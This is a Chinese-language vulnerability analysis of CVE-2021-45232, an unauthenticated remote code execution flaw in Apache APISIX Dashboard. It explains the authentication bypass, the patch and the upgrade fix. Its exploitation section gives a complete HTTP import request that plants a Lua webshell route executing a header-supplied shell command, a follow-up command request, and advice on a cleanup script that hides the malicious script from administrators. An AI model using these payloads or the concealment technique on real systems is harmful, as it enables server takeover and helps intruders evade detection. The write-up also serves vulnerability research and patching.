漏洞介绍
APISIX 是一个高性能、可扩展的微服务 API 网关,基于 nginx(openresty)和 Lua 实现功能,借鉴了 Kong 的思路,将 Kong 底层的关系型数据库(Postgres)替换成了NoSQL 型的 etcd。Apache APISIX Dashboard 设计的目的是让用户通过前端界面尽可能轻松地操作 Apache APISIX。
该漏洞是由于 Apache APISIX Dashboard 有些接口直接使用了 gin 框架导致未授权访问进而可导致远程代码执行,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,最终获取服务器最高权限。
漏洞编号
2021-12-18
CVE-2021-45232
漏洞影响
2.7≤ Apache APISIX Dashboard <2.10.1 未授权RCE
安全版本
=2.1.0.1
漏洞分析
官方提供了docker环境,漏洞出在dashboard上,所以要测试漏洞版本,这里修改成2.7即可,然后docker-compose up -d即可
apisix是go开发的gin框架,认证中间件是AuthenticationMiddleware,Apache APISIX采用droplet
进行鉴权处理。
从下面代码来看,以/apisix
开头的URL,除了/apisix/admin/tool/version
和/apisix/admin/user/login
以外均需要认证,通过判断HTTP Header中的Authorization
来完成鉴权处理。
api/internal/filter/authentication.go
如下调用了上面定义的认证中间件
注册的Handler如下,Handler下的路由都会过中间件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | factories := []handler.RegisterFactory{ route.NewHandler, ssl.NewHandler, consumer.NewHandler, upstream.NewHandler, service.NewHandler, schema.NewHandler, schema.NewSchemaHandler, healthz.NewHandler, authentication.NewHandler, global_rule.NewHandler, server_info.NewHandler, label.NewHandler, data_loader.NewHandler, data_loader.NewImportHandler, tool.NewHandler, plugin_config.NewHandler, migrate.NewHandler, } |
正常情况下利用droplet
来对URL进行鉴权处理,与authentication.go
中的Handle
对应,比如consumer
:
可以找未调用droplet进行认证处理的路由,则存在未授权,简单写了一个正则匹配了下,就发现两个接口存在未授权访问。
1 | \br\.(GET|POST|PUT|DELETE)\((?!.*wgin) |
这两个接口是未授权访问的
importConfig用于导入配置,会提取表单里的mode和file,如果是overwrite,可以覆盖配置,不过在import前,会进行crc32校验配置。
配置覆盖完,可以通过9080
端口访问设置的路由,前一个点是未授权,这个点就是导入的路由可以写入任意lua代码,这就导致可以任意执行代码。
如
1 | local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output) |
接着访问http://x.x.x.x:9080/xxxx即可
仔细看了下Import函数,如果mode是overwrite,他的意思不是说覆盖原来所有配置,而是会检查导入的每个Route,Update用于更新路由,最后一个参数true表示createIfNotExist,则有路由就更新,没有该路由则create新增一个。
如果mode是return,则调用s.Create,这个就没法覆盖原有的配置了,如果id冲突,就会直接报错。
至于导入配置的payload怎么构造,可以先导出看看数据结构,代码里也有,如右有标识数据结构
主要修改Routes部分就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | { "Counsumers": [], "Routes": [ { "id": "150957240361326061", "create_time": 1640845405, "update_time": 1640845623, "uris": [ "/qHjxt" ], "name": "C202145232", "methods": [ "GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE" ], "script": "local a=1\nlocal b=2", "status": 1 } ], "Services": [], "SSLs": [], "Upstreams": [], "Scripts": [], "GlobalPlugins": [], "PluginConfigs": [] } |
漏洞利用
访问Dashboard 端口,默认为9000,导入配置,overwrite用于覆盖原来的配置,file是一个json数据,script用于写入lua脚本,注意最后需要在json尾部添加对json数据的crc32校验值,否则会报错。
脚本里是通过header里提取cmd来执行的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | POST /apisix/admin/migrate/import HTTP/1.1 Host: 30.1.20.3:9000 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Content-Length: 886 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Type: multipart/form-data; boundary=d761725c8f83567a873825598622a0432bafee3e40aaa1dcb649a73ec896 Accept-Encoding: gzip, deflate Connection: close --d761725c8f83567a873825598622a0432bafee3e40aaa1dcb649a73ec896 Content-Disposition: form-data; name="mode" Content-Type: application/octet-stream overwrite --d761725c8f83567a873825598622a0432bafee3e40aaa1dcb649a73ec896 Content-Disposition: form-data; name="file"; filename="data" Content-Type: text/data {"Counsumers": [], "Routes": [{"id": "196774353636389664", "create_time": 1640674554, "update_time": 1640677637, "uris": ["/EWJDF"], "name": "EWJDF", "methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"], "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)", "status": 1}], "Services": [], "SSLs": [], "Upstreams": [], "Scripts": [], "GlobalPlugins": [], "PluginConfigs": []}\x88\xfb\97\bc --d761725c8f83567a873825598622a0432bafee3e40aaa1dcb649a73ec896-- |
访问apisix服务,默认是9080,执行命令
1 2 3 4 5 6 7 8 | GET /EWJDF HTTP/1.1 Host: 30.1.20.3:9080 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 cmd: ifconfig Accept-Encoding: gzip, deflate Connection: close |
PS: 漏洞利用脚本编写可以优化的地方,因为这个路由只能添加,无法还原成最初的样子,所以可以写两个exp
第一个,导出配置文件,判断路由里是否已有添加的恶意路由,可以根据Name去识别(因为这个字段可以重复),如果已有,则只需要修改他的Script部分,然后overwrite模式导入即可。如果没有恶意路由,就新增一个。这样操作可以尽量减少恶意路由的添加。
第二个利用,其实是一个清除脚本,导出配置文件,遍历所有路由,如果存在route.Name=tag,则将script部分清除,然后将新的配置导入即可,这样只能看到路由,但看不到恶意script内容。
补丁分析
https://github.com/apache/apisix-dashboard/commit/b565f7cd090e9ee2043fbb726fbaae01737f83cd
Dec 19, 2021
看了下2.10.1之前的最后一个commit,也就是漏洞修复的补丁
Authentication更新了,认证框架换成了gin-gonic
,所有路由都要走Authentication
进行处理。
api/internal/filter/authentication.go
删除了droplet对该认证中间件的调用
换成在路由里添加了认证中间件
但接口导入导出配置文件那块其实并没有做啥过滤,也就是说,如果能登录后台,仍然可以RCE,可能官方认为有后台权限,这些操作都不算漏洞了。
修复建议
升级至2.10.1及以上
参考链接
http://www.hackdig.com/12/hack-568311.htm
其他注意事项
/apisix/admin/tool/version 可获取版本信息,通过该信息可确定是否为漏洞版本